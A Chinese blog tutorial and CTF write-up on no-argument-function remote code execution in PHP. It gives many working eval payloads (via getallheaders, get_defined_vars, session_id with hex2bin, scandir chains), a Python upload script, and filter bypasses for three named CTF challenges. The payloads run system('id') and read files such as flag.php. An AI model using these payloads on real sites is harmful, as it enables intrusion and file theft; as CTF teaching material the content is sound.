百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分类 > 正文

使用无参数函数进行命令执行(使用无参数函数进行命令执行操作)

ztj100 2024-10-27 18:31 25 浏览 0 评论

前言

在这里总结一下无参数命令执行。

环境准备

测试代码

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

关键代码

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

本文涉及的相关函数

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

【一>所有资源关注我,私信回复“资料”获取<一】
1、电子书籍(白帽子)
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

关键函数

getenv()

getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本

?code=var_dump(getenv());

php7.0以下返回bool(false)

php7.0以上正常回显

?code=var_dump(getenv(phpinfo()));

phpinfo()可以获取所有环境变量

getallheaders()

getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用
传入?code=print_r(getallheaders());,数组返回 HTTP 请求头

Payload1

使用end指向最后一个请求头,用其值进行rce

GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');

● end():将数组的内部指针指向最后一个单元

Payload2

此payload适用于php7以上版本

GET /1.php?exp=eval(end(apache_request_headers()));  HTTP/1.1
....
flag: system('id');

get_defined_vars()

Payload1

?code=eval(end(current(get_defined_vars())));&flag=system('ls');

利用全局变量进RCE
get_defined_vars():返回由所有已定义变量所组成的数组,会返回_GET,GET,_POST,_COOKIE,C?OOKIE,_FILES全局变量的值,返回数组顺序为get->post->cookie->files
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值

Payload2

?flag=phpinfo();&code=print_r(get_defined_vars());
该函数会返回全局变量的值,如get、post、cookie、file数据,

flag=>phpinfo();在_GET数组中,所以需要使用两次取数组值:

pos第一次取值

?flag=phpinfo();&code=print_r(pos(get_defined_vars()));

pos第二次取值

?flag=phpinfo();&code=print_r(pos(pos(get_defined_vars())));

执行phpinfo()

?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));

任意命令执行

?flag=system('id');&code=eval(pos(pos(get_defined_vars())));

Payload3

而如果网站对_GET,G?ET,_POST,_COOKIE都做的过滤, 那我们只能从C?OOKIE都做的过滤,那我们只能从_FILES入手了,file数组在最后一个,需要end定位,然后pos两次定位获得文件名

import requests
files = {
   "system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

session_start()

适用于:php7以下的版本
session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。

文件读取

● show_source(session_id(session_start()));
● var_dump(file_get_contents(session_id(session_start())))
● highlight_file(session_id(session_start()));
● readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可

GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

读取成功:

命令执行

**hex2bin()**函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

先传入eval(hex2bin(session_id(session_start())));,然后抓包传入Cookie: PHPSESSID=("system(‘命令’)"的十六进制)即可

GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b

回显成功

scandir()

文件读取

查看当前目录文件名

print_r(scandir(current(localeconv())));

读取当前目录文件

当前目录倒数第一位文件:

show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:

highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

相关CTF赛题

[GXYCTF2019]禁止套娃

index源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下关键的四行代码

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
 // echo $_GET['exp'];
 @eval($_GET['exp']);

1、需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
2、第一个if,preg_match过滤了伪协议
3、第二个if,preg_replace限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数。
4、第三个if,preg_match正则匹配过滤了bin|hex等关键字。
5、 @eval($_GET[‘exp’]);执行get传入的exp。
无参数RCE

方法一:利用scandir()函数

1、查看目录下的文件

?exp=print_r(scandir(current(localeconv())));
#Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

2、通过 array_reverse 进行逆转数组

?exp=print_r(array_reverse(scandir(current(localeconv()))));
#Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => . )

3、用next()函数进行下一个值的读取

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
#flag.php

4、highlight_file()函数读取flag
最终payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

getflag

方法二: 利用session_start()函数

/?exp=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=flag.php

flag

[DAS]NoRCE

<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {
    if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){
        eval($exp);
    }else{
        exit('NoNoNo,U R Hacker~');
    }
}else{
    exit("What's this?");
}
?>

无参数RCE

过滤了一堆,利用apache_request_headers()函数,在php7以下版本没有复现成功。
Payload: ?exp=apache_request_headers();
没被过滤

pos current pop都被过滤了,还有个array_shift()函数可以用

array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

输出函数echo、print_r、var_dump也都被过滤了,exit()函数的别名die()函数

die() 函数输出一条消息,并退出当前脚本。

Payload: ?exp=die(array_shift(apache_request_headers()));
回显成功

自定义一个请求头,其值为要执行的命令,如flag: whoami,
Payload: ?exp=system(array_shift(apache_request_headers()));
打印出来了

接下来执行命令,成功执行whoami命令

本方法在php7以下使用未成功

[长安战疫]RCE_No_Para

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?>

本题的做法是通过传递自定义的新变量给数组,返回指定值,从而实现RCE。
绕过方法:pos是current的别名,如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

收集到的一些Payload:

?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));

?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));

?flag=readfile('flag.php');&code=eval(implode(reset(get_defined_vars())));

?code=eval(current(array_reverse(current(get_defined_vars()))));&flag=system('cat flag.php');

?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag');

?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');

相关推荐

Python 操作excel的坑__真实的行和列

大佬给的建议__如何快速处理excelopenpyxl库操作excel的时候,单个表的数据量大一些处理速度还能接受,如果涉及多个表甚至多个excel文件的时候速度会很慢,还是建议用pandas来处理,...

Python os.path模块使用指南:轻松处理文件路径

前言在Python编程中,文件和目录的操作是非常重要的一部分。为了方便用户进行文件和目录的操作,Python标准库提供了os模块。其中,os.path子模块提供了一些处理文件路径的函数和方法。本文主要...

Python常用内置模块介绍——文件与系统操作详解

Python提供了多个强大的内置模块用于文件和系统操作,下面我将详细介绍最常用的几个模块及其核心功能。1.os模块-操作系统交互...

Python Flask 建站框架实操教程(flask框架网页)

下面我将带您从零开始构建一个完整的Flask网站,包含用户认证、数据库操作和前端模板等核心功能。##第一部分:基础项目搭建###1.创建项目环境```bash...

为你的python程序上锁:软件序列号生成器

序列号很多同学可能开发了非常多的程序了,并且进行了...

PO设计模式全攻略,在 UI 自动化中的实践总结(以企业微信为例)

一、什么是PO设计模式?PO(PageObject)设计模式将某个页面的所有元素对象定位和对元素对象的操作封装成一个Page类,即一个py文件,并以页面为单位来写测试用例,实现页面对象和测试用例的...

这种小工具居然也能在某鱼卖钱?我用Python一天能写...

前两天在某鱼闲逛,本来想找个二手机械键盘,结果刷着刷着突然看到有人在卖——Word批量转PDF小工具...

python打包成exe,程序有图标,但是任务栏和窗口都没有显示图标

代码中指定图标信息#设置应用ID,确保任务栏图标正确显示ifsys.platform=="win32":importctypesapp_id=...

使用Python构建电影推荐系统(用python做推荐系统)

在日常数据挖掘工作中,除了会涉及到使用Python处理分类或预测任务,有时候还会涉及推荐系统相关任务。...

python爬取并分析淘宝商品信息(python爬取淘宝商品数据)

python爬取并分析淘宝商品信息背景介绍一、模拟登陆二、爬取商品信息1.定义相关参数2.分析并定义正则3.数据爬取三、简单数据分析1.导入库2.中文显示3.读取数据4.分析价格分布5.分析销售...

OpenCV入门学习基础教程(从小白变大神)

Opencv是用于快速处理图像处理、计算机视觉问题的工具,支持多种语言进行开发如c++、python、java等,下面这篇文章主要给大家介绍了关于openCV入门学习基础教程的相关资料,需要的朋友可以...

python图像处理-一行代码实现灰度图抠图

抠图是ps的最基本技能,利用python可以实现用一行代码实现灰度图抠图。基础算法是...

从头开始学python:如何用Matplotlib绘图表

Matplotlib是一个用于绘制图表的库。如果你有用过python处理数据,那Matplotlib可以更直观的帮你把数据展示出来。直接上代码看例子:importmatplotlib.pyplot...

Python爬取爱奇艺腾讯视频 250,000 条数据分析为什么李诞不值得了

在《Python爬取爱奇艺52432条数据分析谁才是《奇葩说》的焦点人物?》这篇文章中,我们从爱奇艺爬取了5万多条评论数据,并对一些关键数据进行了分析,由此总结出了一些明面上看不到的数据,并...

Python Matplotlib 库使用基本指南

简介Matplotlib是一个广泛使用的Python数据可视化库,它可以创建各种类型的图表、图形和可视化效果。无论是简单的折线图还是复杂的热力图,Matplotlib提供了丰富的功能来满足我们...

取消回复欢迎 发表评论: